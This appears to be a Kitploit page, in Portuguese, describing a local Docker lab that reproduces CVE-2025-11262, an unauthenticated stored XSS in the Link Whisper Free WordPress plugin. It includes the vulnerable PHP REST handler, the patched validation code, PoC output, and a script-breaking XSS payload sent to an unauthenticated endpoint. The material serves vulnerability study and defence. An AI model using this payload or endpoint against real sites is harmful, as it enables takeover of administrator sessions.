CVE-2025-11262-Lab — Laboratório Docker para reproduzir o CVE-2025-11262, um XSS cego armazenado não autenticado no plugin Link Whisper Free para WordPress. Inclui alvos vulneráveis e corrigidos, script PoC e análise de causa raiz. | Kitploit

Requisição REST não autenticada
→ user_id controlado pelo atacante é persistido
→ um usuário privilegiado do WordPress abre a página de Assinatura AI do Link Whisper
→ o valor armazenado é renderizado em um contexto JavaScript do admin
→ alert("CVE-2025-11262-LAB") é executado na versão vulnerável

Afirmação	Evidência	Como verificar neste laboratório
Link Whisper Free `0.9.0` é vulnerável.	Avisos públicos identificam Link Whisper Free até a versão `0.9.0` inclusive como afetada.	Execute o PoC contra `http://127.0.0.1:8081` e abra a URL de administração impressa.
Link Whisper Free `0.9.1` contém a correção.	Aviso público e dados de changelog identificam `0.9.1` como a versão corrigida.	Execute o mesmo PoC contra `http://127.0.0.1:8082`; nenhum alerta deve aparecer.
O plantio do payload é não autenticado.	O PoC envia uma requisição POST sem cookies, login ou nonce do WordPress.	Inspecione `poc/poc.py`; ele só requer `--url`.
O impacto visível é acionado na área de administração do WordPress.	O valor armazenado é renderizado quando a página de Assinatura AI do Link Whisper é aberta por um usuário privilegiado.	Após executar o PoC, faça login como admin e abra a URL de administração impressa.
O alvo corrigido ainda pode retornar `"ok"` na camada HTTP.	Testes locais mostraram que ambos os alvos podem retornar `"ok"`; a diferença significativa é se o payload é persistido e executado.	Compare o comportamento do navegador em `8081` e `8082`.

Endpoint REST não autenticado
→ validação insuficiente de user_id
→ armazenamento persistente em wpil_ai_access_user_id
→ renderização insegura em um contexto JavaScript do admin
→ XSS armazenado quando um usuário privilegiado abre a página de Assinatura AI

register_rest_route(self::REST_SLUG, self::AI_AUTH, [
    'methods'             => 'POST',
    'callback'            => [
        $this,
        'ai_auth_handler'
    ],
    'permission_callback' => "__return_true",
    'show_in_index'       => false
]);

public function ai_auth_handler( WP_REST_Request $request )
{
    if(!empty($request->get_param('access_token'))){
        $token = $request->get_param('access_token');
        $user_id = $request->get_param('user_id');
        $uid = (int)$request->get_param('uid');
        $uemail = $request->get_param('uemail');

        if(!empty($token) && false !== strpos($token, 'ai-')){
            update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
            update_option('wpil_ai_access_user_id', $user_id);
            update_option('wpil_ai_access_user_email', $uemail);
            update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
            update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
            update_option('wpil_ai_access_authorized', true);
        }

        return 'ok';
    }

    return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}

if(
    !empty($token) &&
    false !== strpos($token, 'ai-') &&
    (bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
    (bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
    update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
    update_option('wpil_ai_access_user_id', $user_id);
    update_option('wpil_ai_access_user_email', sanitize_email($uemail));
    update_option('wpil_ai_access_authorized', true);
}

body: JSON.stringify({
    ai_id: "<?php echo esc_attr($ai_id);?>",
    subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})

POST /wp-json/link-whisper/ai-auth
→ retorna "ok"
→ armazena o payload em wpil_ai_access_user_id
→ abrir a página de administração da Assinatura AI aciona alert("CVE-2025-11262-LAB")

.
├── docker/
│   └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── README.md
└── vuln/
    └── Dockerfile

[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

[next step]
Open this URL in a browser and login as the lab administrator:

http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription

[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id      = </script><script>alert("CVE-2025-11262-LAB")</script>
uid          = 1
uemail       = [email protected]

CVE-2025-11262-Lab

Mais Populares

Fatos Verificados

Resumo da Causa Raiz

Endpoint REST não autenticado

Manipulação vulnerável de entrada no 0.9.0

Armazenamento persistente

Sumidouro JavaScript do admin

Condição de disparo

Comportamento da correção no 0.9.1

Comportamento confirmado no laboratório

Arquitetura do Laboratório

Requisitos

Início Rápido

Uso do PoC

Saída Esperada

Evidência de Captura de Tela

Como o PoC Funciona

Comandos Úteis de Verificação

Mitigação e Notas da Correção

Limpeza

Limites de Segurança

Referências

`vuln`	`0.9.0`	Alvo vulnerável	`http://127.0.0.1:8081`
`patched`	`0.9.1`	Alvo corrigido para comparação	`http://127.0.0.1:8082`